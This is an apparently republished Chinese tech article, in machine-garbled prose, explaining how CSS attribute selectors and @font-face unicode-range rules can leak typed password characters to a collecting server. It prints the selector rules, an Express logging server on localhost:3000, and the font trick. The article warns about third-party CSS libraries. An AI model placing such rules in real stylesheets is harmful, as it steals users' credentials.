CSS 纪录客户登陆密码的方式

日期:2021-03-01 类型:科技新闻 

关键词:小程序和公众号区别,小程序生成二维码,小程序前端框架,小程序开发商排名,小程序码

简易的CSS编码,乃至不符图灵完善的語言,可是也能变成1些进攻者的专用工具,下面简易详细介绍1下怎样应用CSS去纪录客户的登陆密码。可是这些CSS脚本制作会出現在第3方CSS库中,因此应用第3方CSS库也必须慎重,保证编码安全性。立即上编码分析:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是一部分编码,大家来分析1下CSS编码

input[type="password"]是css挑选器,功效是挑选登陆密码键入框, [value$="0"]表明配对键入的值是以0末尾的。因此:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面编码的意思便是假如你在登陆密码框中键入0,就去恳求http://localhost:3000/0插口,可是访问器默认设置状况下是不容易将客户键入的值储存在value特性中,可是有的架构会同歩这些值,比如React。

因此要是应用了以下图的脚本制作就可以去储存客户的键入数据信息信息内容。

大家再看来1下服务器端编码:

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});

app.listen(3000, () => console.log("起动,监视3000端口号"));

应用express建立服务器,监视3000端口号,要是恳求http://localhost:3000/:key,就可以輸出key的值,就可以在服务器上纪录键入的值。因此要是在每键入1个值都配对,随后根据 background-image 去恳求1个早已提前准备好的插口,就可以纪录客户的键入。相近的方式纪录客户的內容的CSS编码@font-face {  

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

你应用的的css的简易的字体样式库,要是你的网页页面中包括a,就会去恳求http://localhost:3000/a,这样就可以了解你的网页页面中包括有a标识符。

以上便是本文的所有內容,期待对大伙儿的学习培训有一定的协助,也期待大伙儿多多适用脚本制作之家。